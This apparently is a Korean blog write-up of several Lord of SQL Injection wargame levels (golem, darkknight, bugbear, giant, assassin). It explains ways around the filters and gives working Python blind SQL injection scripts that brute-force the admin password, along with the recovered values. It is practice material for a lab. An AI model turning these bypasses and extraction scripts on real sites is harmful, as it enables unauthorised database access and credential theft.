golem
admin 의 pw 를 알아내면 되는, blind sql injection 문제다.
or, and => ||, && 으로 우회
substr => left 로 우회
'=' => like 로 우회
이런느낌으로, blind sqli 소스를 짜보자
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import requests
import string
s=requests.Session()
url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw='
pw=''
for i in range(1,9):
for c in string.digits+string.ascii_lowercase:
query="' || id like 'admin' %26%26 left(pw,{0}) like '{2}{1}".format(i,c,pw)
r=s.get(url+query,cookies={"PHPSESSID":"o1iubt96vd04kqvsk897bb0sbt"})
if r.text.find("<h2>Hello admin</h2>")!=-1:
print(f"{i} : {c}")
pw+=c
break
print(f"[+] password found : {pw}")
|
cs |
left 함수는, 두번째 인자만큼 잘라주는 함수인데,
substring 으로 1글자씩 가져와서 비교하는 것과 달리,
i가 2 이상일 때, 앞에서 찾은 pw도 같이 붙여서 비교해줘야한다.
left(pw,1) like 7
left(pw,2) like 77
left(pw,3) like 77d
...
pw=77d6290b
darkknight
pw 에서 ' (싱글쿼터),
no 에서 ' (싱글쿼터), substr, ascii, = 가 필터링 되어있다.
pw 에서 싱글쿼터를 escape 할 수 없으니,
no 에 입력해야한다.
'admin' 은 goblin 문제처럼, id like 0x61646d696e 이렇게 16진수로 우회할 수 있다.
또한, substrng 함수 대신 left 함수를 쓸껀데,
left(pw,n) like '~~' 와 비교할 때 문자열도 16진수로 넣어줘야한다.
나머지는 golem 문제랑 비슷하다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import requests
import string
import binascii
s=requests.Session()
url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no='
pw=''
for i in range(1,9):
for c in string.digits+string.ascii_lowercase:
query="-1 or id like 0x61646d696e and left(pw,{0}) like 0x{2}{1}".format(i,hex(ord(c))[2:],pw)
r=s.get(url+query,cookies={"PHPSESSID":"o1iubt96vd04kqvsk897bb0sbt"})
if r.text.find("<h2>Hello admin</h2>")!=-1:
print(r.url)
print(f"{i} : {c}")
pw+=hex(ord(c))[2:]
break
print(f"[+] password found : {binascii.unhexlify(pw)}")
|
cs |
pw=0b70ea1f
bugbear
필터링이 빡새졌다. pw 에서 ' (싱글쿼터) 를 막고 있으니, escape 할 수 없고,
no 에서 blind sqli 해야한다.
substr => left 로 우회
=, like => in 으로 우회 ( id in ("admin","asdf","guest") 이런식으로 사용)
or,and => 각각 ||, %26%26 (&&) 으로 우회
whitespace ( ) => %0d 로 우회
' , 0x => 문자열을 2진수로 우회
이런식으로 우회할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import requests
import string
import binascii
s=requests.Session()
url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no='
pw=''
for i in range(1,9):
for c in range(48,97):
query="-1||id%0din%0d(0b110000101100100011011010110100101101110)%26%26left(pw,{0})%0din%0d(0b{1}{2})".format(
i,pw,bin(c)[2:].rjust(8,'0'))
r=s.get(url+query,cookies={"PHPSESSID":"n7k9satifibhacdsnoeuqidci1"})
if r.text.find("<h2>Hello admin</h2>")!=-1:
print(f"{i} : {c}")
pw+=bin(c)[2:].rjust(8,'0')
print(query)
break
print(f"[+] password found : {binascii.unhexlify(hex(int(pw,2))[2:])}")
|
cs |
left 대신 mid 함수를 이용해 한 글자씩 비교할 수 있다...
그리고 " (쌍따옴표) 는 필터링 되어있지 않아 사용할 수 있다...
pw=52dc3991
giant
from 다음에 공백이 없어 1234 를 db 에서 못뽑아 오고 있다.
1글자여야하고, \n, \r, \t, ' ' (공백) 을 필터링한다.
sql 공백 우회 치면 많이 나오는건데,
%0b (vertical tab) 으로 공백을 우회할 수 있다.
assassin
pw 를 like 로 비교한다.
like 문은 부분일치하는 컬럼을 찾을 때 사용한다.
와일드문자인 % 를 이용해 비번을 뽑아낼 수 있다.
' (single quote) 안에 있으므로 문자열 함수를 사용할 필요는 없다.
하지만, admin id 와 부분일치하는 password 를 찾을 수 없어서
guest 의 password 를 찾아봤다.
guest 가 admin 보다 먼저 등록이 되어있고, admin 의 password 와 같은 부분이 있으면,
Hello admin 이 아닌, Hello guest 가 떠버린다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import string
import requests
find_str="<h2>Hello admin</h2>"
find_str_2="<h2>Hello guest</h2>"
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="
strings=string.digits+string.ascii_letters
flag=''
cookies={'PHPSESSID':"qsbs3b3bt57rnqe6hk3micpcij"}
for i in range(0x10):
for c in strings:
r=requests.get(url+flag+c+"%",cookies=cookies)
print(r.url)
if find_str in r.text:
print(r.url)
flag+=c
break
elif find_str_2 in r.text:
print(r.url)
flag+=c
break
|
cs |
그래서, Hello admin 인지 먼저 비교하고 Hello guest 가 떴다면,
두 password 는 부분일치하므로 기존 문자열 (flag) 에 추가한다.
90d2fe10 <- admin password
902efd10 <- guest password
admin password 가 사전순으로 먼저 있어서,
문자열을 브루트포스할 때, 숫자를 먼저 해서 저 익스코드가 먹힌 것 같다.
만약 그렇지 않다면, 전체 문자를 검사한 뒤, hello admin 이 없다면,
hello guest 가 뜬 문자를 저장해놨다가 기존 문자열에 추가하는 방법으로도 풀 수 있을 것이다.